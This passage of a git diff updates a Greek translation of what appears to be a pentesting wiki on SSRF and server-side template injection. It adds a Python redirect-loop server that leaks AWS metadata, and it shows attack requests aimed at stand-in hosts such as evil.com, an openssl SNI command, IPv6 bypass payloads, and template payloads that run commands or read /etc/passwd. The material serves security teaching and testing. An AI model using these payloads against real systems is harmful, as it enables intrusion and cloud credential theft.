εκμεταλλευόμενο τον τρόπο που τα εργαλεία ανάλυσης επεξεργάζονται την κεφαλίδα Referer για να εντοπίσουν πιθανά επιθέσεις SSRF. +Το λογισμικό ανάλυσης στους διακομιστές συχνά καταγράφει την κεφαλίδα Referrer για να παρακολουθεί τους εισερχόμενους συνδέσμους, μια πρακτική που ακούσια εκθέτει τις εφαρμογές σε ευπάθειες Server-Side Request Forgery (SSRF). Αυτό συμβαίνει επειδή τέτοιο λογισμικό μπορεί να επισκεφθεί εξωτερικές διευθύνσεις URL που αναφέρονται στην κεφαλίδα Referrer για να αναλύσει το περιεχόμενο των παραπομπών. Για να αποκαλυφθούν αυτές οι ευπάθειες, προτείνεται το πρόσθετο Burp Suite "**Collaborator Everywhere**", εκμεταλλευόμενο τον τρόπο που τα εργαλεία ανάλυσης επεξεργάζονται την κεφαλίδα Referer για να εντοπίσουν πιθανά επιφάνειες επίθεσης SSRF. ## SSRF μέσω δεδομένων SNI από πιστοποιητικό @@ -121,7 +121,7 @@ ssl_preread on; } } ``` -Σε αυτή τη διαμόρφωση, η τιμή από το πεδίο Server Name Indication (SNI) χρησιμοποιείται άμεσα ως διεύθυνση του backend. Αυτή η ρύθμιση εκθέτει μια ευπάθεια σε Server-Side Request Forgery (SSRF), η οποία μπορεί να εκμεταλλευτεί απλά καθορίζοντας τη ζητούμενη διεύθυνση IP ή το όνομα τομέα στο πεδίο SNI. Ένα παράδειγμα εκμετάλλευσης για να αναγκάσετε μια σύνδεση σε ένα αυθαίρετο backend, όπως το `internal.host.com`, χρησιμοποιώντας την εντολή `openssl` δίνεται παρακάτω: +Σε αυτή τη διαμόρφωση, η τιμή από το πεδίο Server Name Indication (SNI) χρησιμοποιείται άμεσα ως διεύθυνση του backend. Αυτή η ρύθμιση εκθέτει μια ευπάθεια σε Server-Side Request Forgery (SSRF), η οποία μπορεί να εκμεταλλευτεί απλά καθορίζοντας τη ζητούμενη διεύθυνση IP ή το όνομα τομέα στο πεδίο SNI. Ένα παράδειγμα εκμετάλλευσης για να αναγκάσει μια σύνδεση σε ένα αυθαίρετο backend, όπως το `internal.host.com`, χρησιμοποιώντας την εντολή `openssl` δίνεται παρακάτω: ```bash openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf ``` @@ -133,7 +133,7 @@ openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf ## Απόδοση PDFs -Εάν η ιστοσελίδα δημιουργεί αυτόματα ένα PDF με κάποιες πληροφορίες που έχετε παρέχει, μπορείτε να **εισάγετε κάποιο JS που θα εκτελείται από τον δημιουργό του PDF** (τον διακομιστή) κατά τη δημιουργία του PDF και θα μπορείτε να εκμεταλλευτείτε ένα SSRF. [**Βρείτε περισσότερες πληροφορίες εδώ**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.** +Εάν η ιστοσελίδα δημιουργεί αυτόματα ένα PDF με κάποιες πληροφορίες που έχετε παρέχει, μπορείτε να **εισάγετε κάποιο JS που θα εκτελείται από τον ίδιο τον δημιουργό του PDF** (τον διακομιστή) κατά τη δημιουργία του PDF και θα μπορείτε να εκμεταλλευτείτε ένα SSRF. [**Βρείτε περισσότερες πληροφορίες εδώ**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.** ## Από SSRF σε DoS @@ -206,7 +206,7 @@ app.run(threaded=False) ```

-Το Flask επιτρέπει τη χρήση του **`@`** ως αρχικό χαρακτήρα, που επιτρέπει να γίνει το **αρχικό όνομα κεντρικού υπολογιστή το όνομα χρήστη** και να εισαχθεί ένα νέο. Αιτούμενο επίθεσης: +Το Flask επιτρέπει τη χρήση του **`@`** ως αρχικό χαρακτήρα, που επιτρέπει να γίνει το **αρχικό όνομα κεντρικού υπολογιστή το όνομα χρήστη** και να εισαχθεί ένα νέο. Αιτούμενο αίτημα επίθεσης: ```http GET @evildomain.com/ HTTP/1.1 Host: target.com @@ -218,7 +218,7 @@ Connection: close
-Ανακαλύφθηκε ότι είναι δυνατό να **ξεκινήσει η διαδρομή** ενός αιτήματος με τον χαρακτήρα **`;`** που επιτρέπει στη συνέχεια τη χρήση του **`@`** και την έγχυση μιας νέας διεύθυνσης για πρόσβαση. Αιτημα επίθεσης: +Ανακαλύφθηκε ότι είναι δυνατό να **ξεκινήσει η διαδρομή** ενός αιτήματος με τον χαρακτήρα **`;`** που επιτρέπει στη συνέχεια τη χρήση του **`@`** και την εισαγωγή μιας νέας διεύθυνσης για πρόσβαση. Αιτηματική επίθεση: ```http GET ;@evil.com/url HTTP/1.1 Host: target.com @@ -245,7 +245,7 @@ var_dump($response); ```
-Η PHP επιτρέπει τη χρήση του **χαρακτήρα `*` πριν από μια κάθετο στη διαδρομή** του URL, ωστόσο, έχει άλλους περιορισμούς όπως ότι μπορεί να χρησιμοποιηθεί μόνο για τη ριζική διαδρομή `/` και ότι οι τελείες `.` δεν επιτρέπονται πριν από την πρώτη κάθετο, επομένως είναι απαραίτητο να χρησιμοποιηθεί μια διεύθυνση IP κωδικοποιημένη σε δεκαεξαδικό χωρίς τελείες, για παράδειγμα: +Η PHP επιτρέπει τη χρήση του **χαρακτήρα `*` πριν από μια κάθετο στη διαδρομή** του URL, ωστόσο, έχει άλλους περιορισμούς όπως ότι μπορεί να χρησιμοποιηθεί μόνο για τη ριζική διαδρομή `/` και ότι οι τελείες `.` δεν επιτρέπονται πριν από την πρώτη κάθετο, επομένως είναι απαραίτητο να χρησιμοποιηθεί μια διεύθυνση IP κωδικοποιημένη σε hex χωρίς τελείες, για παράδειγμα: ```http GET *@0xa9fea9fe/ HTTP/1.1 Host: target.com @@ -261,9 +261,9 @@ Connection: close ### Automated DNS Rebidding -[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) είναι ένα εργαλείο για την εκτέλεση επιθέσεων [DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding). Περιλαμβάνει τα απαραίτητα στοιχεία για να επανασυνδέσει τη διεύθυνση IP του DNS ονόματος του διακομιστή επίθεσης με τη διεύθυνση IP της στοχευμένης μηχανής και να σερβίρει επιθέσεις payload για να εκμεταλλευτεί ευάλωτο λογισμικό στη στοχευμένη μηχανή. +[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) είναι ένα εργαλείο για την εκτέλεση επιθέσεων [DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding). Περιλαμβάνει τα απαραίτητα στοιχεία για να επανασυνδέσει τη διεύθυνση IP του DNS ονόματος του επιτιθέμενου με τη διεύθυνση IP της στοχοθετημένης μηχανής και να σερβίρει επιθέσεις για να εκμεταλλευτεί ευάλωτο λογισμικό στη στοχοθετημένη μηχανή. -Δείτε επίσης τον **δημόσια τρέχοντα διακομιστή στο** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html) +Δείτε επίσης τον **δημόσια λειτουργούντα διακομιστή στο** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html) ## DNS Rebidding + TLS Session ID/Session ticket @@ -279,8 +279,8 @@ Connection: close 2. Ο **TTL** του **DNS** είναι **0** δευτερόλεπτα (έτσι το θύμα θα ελέγξει ξανά τη διεύθυνση IP του domain σύντομα) 3. Δημιουργείται μια **TLS σύνδεση** μεταξύ του θύματος και του domain του επιτιθέμενου. Ο επιτιθέμενος εισάγει το **payload μέσα** στο **Session ID ή Session Ticket**. 4. Το **domain** θα ξεκινήσει έναν **άπειρο βρόχο** ανακατευθύνσεων κατά **του εαυτού του**. Ο στόχος αυτού είναι να κάνει τον χρήστη/bot να έχει πρόσβαση στο domain μέχρι να εκτελέσει **ξανά** ένα **DNS request** του domain. -5. Στο DNS request δίνεται μια **ιδιωτική IP** διεύθυνση **τώρα** (127.0.0.1 για παράδειγμα) -6. Ο χρήστης/bot θα προσπαθήσει να **επανιδρύσει τη TLS σύνδεση** και για να το κάνει αυτό θα **στείλει** το **Session** ID/Ticket ID (όπου περιλαμβανόταν το **payload** του επιτιθέμενου). Συγχαρητήρια, καταφέρατε να ζητήσετε από τον **χρήστη/bot να επιτεθεί στον εαυτό του**. +5. Στο DNS request δίνεται μια **ιδιωτική διεύθυνση IP** **τώρα** (127.0.0.1 για παράδειγμα) +6. Ο χρήστης/bot θα προσπαθήσει να **επανιδρύσει τη TLS σύνδεση** και για να το κάνει αυτό θα **στείλει** το **Session** ID/Ticket ID (όπου περιείχε το **payload** του επιτιθέμενου). Συγχαρητήρια, καταφέρατε να ζητήσετε από τον **χρήστη/bot να επιτεθεί στον εαυτό του**. Σημειώστε ότι κατά τη διάρκεια αυτής της επίθεσης, αν θέλετε να επιτεθείτε στο localhost:11211 (_memcache_) πρέπει να κάνετε το θύμα να δημιουργήσει την αρχική σύνδεση με www.attacker.com:11211 (η **θύρα πρέπει πάντα να είναι η ίδια**).\ Για **να εκτελέσετε αυτή την επίθεση μπορείτε να χρησιμοποιήσετε το εργαλείο**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\ @@ -294,23 +294,59 @@ Connection: close **Ελέγχοντας τον χρόνο** των απαντήσεων από τον διακομιστή μπορεί να είναι **δυνατό να γνωρίζετε αν υπάρχει ή όχι μια πηγή** (ίσως να χρειάζεται περισσότερος χρόνος για να αποκτήσετε πρόσβαση σε μια υπάρχουσα πηγή από ότι σε μια που δεν υπάρχει) -## Cloud SSRF Exploitation +### Από blind σε πλήρη εκμετάλλευση κωδικών κατάστασης + +Σύμφωνα με αυτήν την [**ανάρτηση στο blog**](https://slcyber.io/assetnote-security-research-center/novel-ssrf-technique-involving-http-redirect-loops/), μερικά blind SSRF μπορεί να συμβούν γιατί ακόμα και αν η στοχοθετημένη URL απαντά με κωδικό κατάστασης 200 (όπως τα AWS metadata), αυτά τα δεδομένα δεν είναι σωστά μορφοποιημένα και επομένως η εφαρμογή μπορεί να αρνηθεί να τα δείξει. + +Ωστόσο, διαπιστώθηκε ότι στέλνοντας κάποιες απαντήσεις ανακατεύθυνσης από 305 έως 309 στο SSRF μπορεί να είναι δυνατό να κάνετε την εφαρμογή **να ακολουθήσει αυτές τις ανακατευθύνσεις ενώ εισέρχεται σε κατάσταση σφάλματος** που δεν θα ελέγχει πλέον τη μορφή των δεδομένων και μπορεί απλώς να τα εκτυπώσει. + +Ο διακομιστής python που χρησιμοποιείται για να εκμεταλλευτεί αυτό είναι ο εξής: +```python +@app.route("/redir") +def redir(): +count = int(request.args.get("count", 0)) + 1 +# Pump out 305, 306, 307, 308, 309, 310 ... +weird_status = 301 + count +if count >= 10: # after 5 “weird” codes +return redirect(METADATA_URL, 302) +return redirect(f"/redir?count={count}", weird_status) + +@app.route("/start") +def start(): +return redirect("/redir", 302) +``` +**Βήματα:** +- Πρώτα το 302 κάνει την εφαρμογή να αρχίσει να ακολουθεί. +- Στη συνέχεια λαμβάνει 305 → 306 → 307 → 308 → 309 → 310. +- Μετά τον 5ο παράξενο κωδικό, το PoC τελικά επιστρέφει 302 → 169.254.169.254 → 200 OK. + +**Τι συμβαίνει μέσα στον στόχο:** +- Το libcurl ακολουθεί τα 305–310; απλά κανονικοποιεί τους άγνωστους κωδικούς σε “ακολουθία.” +- Μετά από N παράξενες ανακατευθύνσεις (≥ 5 εδώ) ο δικός του περιτύλιγμα της εφαρμογής αποφασίζει ότι “κάτι δεν πάει καλά” και αλλάζει σε λειτουργία σφάλματος που προορίζεται για αποσφαλμάτωση. +- Σε αυτή τη λειτουργία, εκτυπώνει ολόκληρη την αλυσίδα ανακατεύθυνσης συν το τελικό σώμα πίσω στον εξωτερικό καλούντα. +- Αποτέλεσμα: ο επιτιθέμενος βλέπει κάθε κεφαλίδα + το μεταδεδομένο JSON, αποστολή ολοκληρωμένη. + +Σημειώστε ότι αυτό είναι ενδιαφέρον για να διαρρεύσουν κωδικοί κατάστασης που δεν μπορούσατε να διαρρεύσετε πριν (όπως ένα 200). Ωστόσο, αν με κάποιο τρόπο μπορούσατε επίσης να επιλέξετε τον κωδικό κατάστασης της απάντησης (φανταστείτε ότι μπορείτε να αποφασίσετε ότι τα μεταδεδομένα AWS απαντούν με κωδικό κατάστασης 500), **μπορεί να υπάρχουν κάποιοι κωδικοί κατάστασης που διαρρέουν άμεσα το περιεχόμενο της απάντησης.** + +## Εκμετάλλευση Cloud SSRF Αν βρείτε μια ευπάθεια SSRF σε μια μηχανή που τρέχει μέσα σε ένα περιβάλλον cloud, μπορεί να είστε σε θέση να αποκτήσετε ενδιαφέρουσες πληροφορίες σχετικά με το περιβάλλον cloud και ακόμη και διαπιστευτήρια: + {{#ref}} cloud-ssrf.md {{#endref}} -## SSRF Vulnerable Platforms +## Ευάλωτες Πλατφόρμες SSRF Πολλές γνωστές πλατφόρμες περιέχουν ή έχουν περιέχει ευπάθειες SSRF, ελέγξτε τις σε: + {{#ref}} ssrf-vulnerable-platforms.md {{#endref}} -## Tools +## Εργαλεία ### [**SSRFMap**](https://github.com/swisskyrepo/SSRFmap) @@ -320,7 +356,7 @@ ssrf-vulnerable-platforms.md - [Blog post on Gopherus](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/) -Αυτό το εργαλείο δημιουργεί Gopher payloads για: +Αυτό το εργαλείο δημιουργεί payloads Gopher για: - MySQL - PostgreSQL @@ -333,19 +369,20 @@ ssrf-vulnerable-platforms.md - [Blog post on SSRF usage](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/) -_remote-method-guesser_ είναι ένας σαρωτής ευπαθειών _Java RMI_ που υποστηρίζει επιθετικές λειτουργίες για τις πιο κοινές ευπάθειες _Java RMI_. Οι περισσότερες από τις διαθέσιμες λειτουργίες υποστηρίζουν την επιλογή `--ssrf`, για να δημιουργήσουν ένα _SSRF_ payload για την ζητούμενη λειτουργία. Μαζί με την επιλογή `--gopher`, έτοιμα προς χρήση _gopher_ payloads μπορούν να παραχθούν άμεσα. +_remote-method-guesser_ είναι ένας σαρωτής ευπαθειών _Java RMI_ που υποστηρίζει επιθέσεις για τις πιο κοινές ευπάθειες _Java RMI_. Οι περισσότερες από τις διαθέσιμες λειτουργίες υποστηρίζουν την επιλογή `--ssrf`, για να δημιουργήσουν ένα payload _SSRF_ για την ζητούμενη λειτουργία. Μαζί με την επιλογή `--gopher`, έτοιμα προς χρήση payloads _gopher_ μπορούν να παραχθούν άμεσα. ### [SSRF Proxy](https://github.com/bcoles/ssrf_proxy) -SSRF Proxy είναι ένας πολυνηματικός HTTP διακομιστής proxy σχεδιασμένος να σήρα τις HTTP κλήσεις του πελάτη μέσω HTTP διακομιστών που είναι ευάλωτοι σε Server-Side Request Forgery (SSRF). +Το SSRF Proxy είναι ένας πολυνηματικός HTTP proxy server σχεδιασμένος να σήμανε την κίνηση HTTP του πελάτη μέσω HTTP servers που είναι ευάλωτοι σε Server-Side Request Forgery (SSRF). + +### Για πρακτική -### To practice {{#ref}} https://github.com/incredibleindishell/SSRF_Vulnerable_Lab {{#endref}} -## References +## Αναφορές - [https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4](https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery) diff --git a/src/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md b/src/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md index 89b30acbe..5d99d5b72 100644 --- a/src/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md +++ b/src/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md @@ -4,7 +4,7 @@ Check **[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)** -- SugarCRM ≤ 14.0.0 – LESS `@import` injection in `/rest/v10/css/preview` επιτρέπει μη αυθεντικοποιημένο SSRF & ανάγνωση τοπικών αρχείων. +- SugarCRM ≤ 14.0.0 – LESS `@import` injection in `/rest/v10/css/preview` επιτρέπει unauthenticated SSRF & local file read. {{#ref}} ../less-code-injection-ssrf.md diff --git a/src/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md b/src/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md index 3df943ecd..0110652e6 100644 --- a/src/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md +++ b/src/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md @@ -193,7 +193,7 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever() ### Blackslash-trick -Το _backslash-trick_ εκμεταλλεύεται μια διαφορά μεταξύ του [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) και του [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Ενώ το RFC3986 είναι ένα γενικό πλαίσιο για URIs, το WHATWG είναι συγκεκριμένο για web URLs και έχει υιοθετηθεί από σύγχρονους περιηγητές. Η βασική διάκριση έγκειται στην αναγνώριση του backslash (`\`) από το πρότυπο WHATWG ως ισοδύναμου με το forward slash (`/`), επηρεάζοντας τον τρόπο που αναλύονται τα URLs, συγκεκριμένα σημειώνοντας τη μετάβαση από το hostname στο path σε ένα URL. +Το _backslash-trick_ εκμεταλλεύεται μια διαφορά μεταξύ του [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) και του [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Ενώ το RFC3986 είναι ένα γενικό πλαίσιο για URIs, το WHATWG είναι συγκεκριμένο για web URLs και έχει υιοθετηθεί από σύγχρονους περιηγητές. Η βασική διάκριση έγκειται στην αναγνώριση του backslash (`\`) από το WHATWG standard ως ισοδύναμου με το forward slash (`/`), επηρεάζοντας τον τρόπο που αναλύονται τα URLs, συγκεκριμένα σημειώνοντας τη μετάβαση από το hostname στο path σε ένα URL. ![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg) @@ -201,7 +201,7 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever() Ο χαρακτήρας “αριστερή τετράγωνη αγκύλη” `[` στο τμήμα userinfo μπορεί να προκαλέσει την UriComponentsBuilder του Spring να επιστρέψει μια τιμή hostname που διαφέρει από τους περιηγητές: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878) -### Άλλες Σύγχυσεις +### Άλλες Συγχύσεις ![https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](<../../images/image (600).png>) @@ -209,7 +209,7 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever() ### IPv6 Zone Identifier (%25) Trick -Οι σύγχρονοι αναλυτές URLs που υποστηρίζουν το RFC 6874 επιτρέπουν τις *link-local* IPv6 διευθύνσεις να περιλαμβάνουν έναν **zone identifier** μετά από ένα ποσοστό. Ορισμένα φίλτρα ασφαλείας δεν είναι ενήμερα για αυτή τη σύνταξη και θα αφαιρέσουν μόνο τις IPv6 λογιές που είναι σε τετράγωνες αγκύλες, επιτρέποντας το παρακάτω payload να φτάσει σε μια εσωτερική διεπαφή: +Οι σύγχρονοι αναλυτές URL που υποστηρίζουν το RFC 6874 επιτρέπουν τις *link-local* IPv6 διευθύνσεις να περιλαμβάνουν έναν **zone identifier** μετά από ένα ποσοστό. Ορισμένα φίλτρα ασφαλείας δεν είναι ενήμερα για αυτή τη σύνταξη και θα αφαιρέσουν μόνο τις IPv6 λογιές που είναι σε τετράγωνες αγκύλες, επιτρέποντας το παρακάτω payload να φτάσει σε μια εσωτερική διεπαφή: ```text http://[fe80::1%25eth0]/ # %25 = encoded '%', interpreted as fe80::1%eth0 http://[fe80::a9ff:fe00:1%25en0]/ # Another example (macOS style) @@ -218,15 +218,15 @@ http://[fe80::a9ff:fe00:1%25en0]/ # Another example (macOS style) ### Πρόσφατα CVEs ανάλυσης βιβλιοθηκών (2022–2025) -Ένα αριθμός mainstream frameworks έχει υποστεί προβλήματα ασυμφωνίας ονομάτων που μπορούν να εκμεταλλευτούν για SSRF μόλις η επαλήθευση URL έχει παρακαμφθεί με τα κόλπα που αναφέρονται παραπάνω: +Ένα αριθμός mainstream πλαισίων έχει υποστεί προβλήματα ασυμφωνίας ονομάτων που μπορούν να εκμεταλλευτούν για SSRF μόλις η επαλήθευση URL έχει παρακαμφθεί με τα κόλπα που αναφέρονται παραπάνω: | Έτος | CVE | Συστατικό | Περίληψη σφάλματος | Ελάχιστο PoC | |------|-----|-----------|--------------|-------------| | 2024 | CVE-2024-22243 / ‑22262 | Spring `UriComponentsBuilder` | `[` δεν επιτρέπεται στην ενότητα *userinfo*, έτσι το `https://example.com\[@internal` αναλύεται ως κόμβος `example.com` από το Spring αλλά ως `internal` από τους περιηγητές, επιτρέποντας open-redirect & SSRF όταν χρησιμοποιούνται οι λίστες επιτρεπόμενων κόμβων. Αναβάθμιση σε Spring 5.3.34 / 6.0.19 / 6.1.6+. | -| 2023 | CVE-2023-27592 | **urllib3** <1.26.15 | Η σύγχυση με την αντίστροφη κάθετο επέτρεψε το `http://example.com\\@169.254.169.254/` να παρακάμψει τους φίλτρους κόμβων που διαχωρίζονται στο `@`. | +| 2023 | CVE-2023-27592 | **urllib3** <1.26.15 | Η σύγχυση με την αντίστροφη κάθετο επέτρεψε το `http://example.com\\@169.254.169.254/` να παρακάμψει τους φίλτρους κόμβων που διαχωρίζονται με `@`. | | 2022 | CVE-2022-3602 | OpenSSL | Η επαλήθευση ονόματος κόμβου παραλείφθηκε όταν το όνομα έχει κατάληξη με `.` (σύγχυση χωρίς τελεία). | -Όταν εξαρτάστε από τρίτους αναλυτές URL, **συγκρίνετε τον κανονικοποιημένο κόμβο που επιστρέφεται από τη βιβλιοθήκη που εμπιστεύεστε με τη raw συμβολοσειρά που παρέχεται από τον χρήστη** για να ανιχνεύσετε αυτές τις κατηγορίες προβλημάτων. +Όταν εξαρτάστε από αναλυτές URL τρίτων, **συγκρίνετε τον κανονικοποιημένο κόμβο που επιστρέφεται από τη βιβλιοθήκη που εμπιστεύεστε με την ακατέργαστη συμβολοσειρά που παρέχεται από τον χρήστη** για να ανιχνεύσετε αυτές τις κατηγορίες προβλημάτων. ### Βοηθήματα δημιουργίας payload (2024+) diff --git a/src/pentesting-web/ssti-server-side-template-injection/README.md b/src/pentesting-web/ssti-server-side-template-injection/README.md index 85e80fa18..37186d73f 100644 --- a/src/pentesting-web/ssti-server-side-template-injection/README.md +++ b/src/pentesting-web/ssti-server-side-template-injection/README.md @@ -18,15 +18,15 @@ http://vulnerable-website.com/?name={{bad-stuff-here}} ``` Το payload `{{bad-stuff-here}}` εισάγεται στην παράμετρο `name`. Αυτό το payload μπορεί να περιέχει οδηγίες Jinja template που επιτρέπουν στον επιτιθέμενο να εκτελέσει μη εξουσιοδοτημένο κώδικα ή να χειριστεί τη μηχανή template, αποκτώντας ενδεχομένως έλεγχο πάνω στον διακομιστή. -Για να αποτραπούν οι ευπάθειες από την έγχυση template στον διακομιστή, οι προγραμματιστές θα πρέπει να διασφαλίσουν ότι η είσοδος του χρήστη είναι σωστά καθαρισμένη και επικυρωμένη πριν εισαχθεί σε templates. Η εφαρμογή επικύρωσης εισόδου και η χρήση τεχνικών διαφυγής που είναι ευαίσθητες στο πλαίσιο μπορούν να βοηθήσουν στη μείωση του κινδύνου αυτής της ευπάθειας. +Για να αποτραπούν οι ευπάθειες από την πλευρά του διακομιστή, οι προγραμματιστές θα πρέπει να διασφαλίσουν ότι η είσοδος του χρήστη είναι σωστά καθαρισμένη και επικυρωμένη πριν εισαχθεί σε templates. Η εφαρμογή επικύρωσης εισόδου και η χρήση τεχνικών διαφυγής που είναι ευαίσθητες στο πλαίσιο μπορούν να βοηθήσουν στη μείωση του κινδύνου αυτής της ευπάθειας. ### Ανίχνευση -Για να ανιχνευθεί η Έγχυση Template στον Διακομιστή (SSTI), αρχικά, **η δοκιμή του template** είναι μια απλή προσέγγιση. Αυτό περιλαμβάνει την έγχυση μιας ακολουθίας ειδικών χαρακτήρων (**`${{<%[%'"}}%\`**) στο template και την ανάλυση των διαφορών στην απόκριση του διακομιστή σε κανονικά δεδομένα σε σύγκριση με αυτό το ειδικό payload. Οι δείκτες ευπάθειας περιλαμβάνουν: +Για να ανιχνευθεί η Server-Side Template Injection (SSTI), αρχικά, **η δοκιμή του template** είναι μια απλή προσέγγιση. Αυτό περιλαμβάνει την εισαγωγή μιας ακολουθίας ειδικών χαρακτήρων (**`${{<%[%'"}}%\`**) στο template και την ανάλυση των διαφορών στην απόκριση του διακομιστή σε κανονικά δεδομένα σε σύγκριση με αυτό το ειδικό payload. Οι δείκτες ευπάθειας περιλαμβάνουν: - Ρίψεις σφαλμάτων, που αποκαλύπτουν την ευπάθεια και ενδεχομένως τη μηχανή template. - Απουσία του payload στην αντανάκλαση, ή μέρη του να λείπουν, υποδηλώνοντας ότι ο διακομιστής το επεξεργάζεται διαφορετικά από τα κανονικά δεδομένα. -- **Plaintext Context**: Διακρίνετε από το XSS ελέγχοντας αν ο διακομιστής αξιολογεί τις εκφράσεις template (π.χ., `{{7*7}}`, `${7*7}`). +- **Plaintext Context**: Διακρίνετε από το XSS ελέγχοντας αν ο διακομιστής αξιολογεί τις εκφράσεις template (π.χ. `{{7*7}}`, `${7*7}`). - **Code Context**: Επιβεβαιώστε την ευπάθεια αλλάζοντας τις παραμέτρους εισόδου. Για παράδειγμα, αλλάζοντας το `greeting` στο `http://vulnerable-website.com/?greeting=data.username` για να δείτε αν η έξοδος του διακομιστή είναι δυναμική ή στατική, όπως στο `greeting=data.username}}hello` που επιστρέφει το όνομα χρήστη. #### Φάση Αναγνώρισης @@ -101,7 +101,7 @@ ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().ex - `{{7*7}} = {{7*7}}` - `${7*7} = 49` - `#{7*7} = 49 -- (legacy)` -- `${7*'7'} Nothing` +- `${7*'7'} Τίποτα` - `${foobar}` ```java <#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")} @@ -193,6 +193,7 @@ http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')}) - [https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/](https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/) + {{#ref}} el-expression-language.md {{#endref}} @@ -203,7 +204,7 @@ el-expression-language.md ``` **Παράκαμψη φίλτρων** -Μπορούν να χρησιμοποιηθούν πολλαπλές εκφράσεις μεταβλητών, αν το `${...}` δεν λειτουργεί δοκιμάστε `#{...}`, `*{...}`, `@{...}` ή `~{...}`. +Μπορούν να χρησιμοποιηθούν πολλαπλές εκφράσεις μεταβλητών, αν το `${...}` δεν λειτουργεί δοκιμάστε το `#{...}`, `*{...}`, `@{...}` ή `~{...}`. - Διαβάστε το `/etc/passwd` ```java @@ -249,6 +250,7 @@ __${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x ``` - [https://github.com/veracode-research/spring-view-manipulation](https://github.com/veracode-research/spring-view-manipulation) + {{#ref}} el-expression-language.md {{#endref}} @@ -372,13 +374,13 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc - `${{7*7}}` - 49 - `${{request}}, ${{session}}, {{faceContext}}` -Η Expression Language (EL) είναι μια θεμελιώδης δυνατότητα που διευκολύνει την αλληλεπίδραση μεταξύ της παρουσίασης (όπως οι ιστοσελίδες) και της λογικής εφαρμογής (όπως τα managed beans) στο JavaEE. Χρησιμοποιείται εκτενώς σε πολλές τεχνολογίες JavaEE για να απλοποιήσει αυτή την επικοινωνία. Οι βασικές τεχνολογίες JavaEE που χρησιμοποιούν EL περιλαμβάνουν: +Expression Language (EL) είναι μια θεμελιώδης δυνατότητα που διευκολύνει την αλληλεπίδραση μεταξύ της παρουσίασης (όπως οι ιστοσελίδες) και της λογικής εφαρμογής (όπως τα managed beans) στο JavaEE. Χρησιμοποιείται εκτενώς σε πολλές τεχνολογίες JavaEE για να απλοποιήσει αυτή την επικοινωνία. Οι βασικές τεχνολογίες JavaEE που χρησιμοποιούν EL περιλαμβάνουν: - **JavaServer Faces (JSF)**: Χρησιμοποιεί EL για να συνδέσει τα στοιχεία στις σελίδες JSF με τα αντίστοιχα δεδομένα και ενέργειες στο backend. -- **JavaServer Pages (JSP)**: Η EL χρησιμοποιείται σε JSP για την πρόσβαση και την επεξεργασία δεδομένων εντός των σελίδων JSP, διευκολύνοντας τη σύνδεση των στοιχείων της σελίδας με τα δεδομένα της εφαρμογής. -- **Contexts and Dependency Injection for Java EE (CDI)**: Η EL ενσωματώνεται με το CDI για να επιτρέπει την απρόσκοπτη αλληλεπίδραση μεταξύ της διαδικτυακής διεπαφής και των managed beans, εξασφαλίζοντας μια πιο συνεκτική δομή εφαρμογής. +- **JavaServer Pages (JSP)**: EL χρησιμοποιείται σε JSP για την πρόσβαση και την επεξεργασία δεδομένων εντός των σελίδων JSP, διευκολύνοντας τη σύνδεση των στοιχείων της σελίδας με τα δεδομένα της εφαρμογής. +- **Contexts and Dependency Injection for Java EE (CDI)**: EL ενσωματώνεται με το CDI για να επιτρέπει την απρόσκοπτη αλληλεπίδραση μεταξύ της διαδικτυακής διεπαφής και των managed beans, εξασφαλίζοντας μια πιο συνεκτική δομή εφαρμογής. -Δείτε την παρακάτω σελίδα για να μάθετε περισσότερα σχετικά με την **εκμετάλλευση των EL interpreters**: +Δείτε την παρακάτω σελίδα για να μάθετε περισσότερα σχετικά με την **εκμετάλλευση των ερμηνευτών 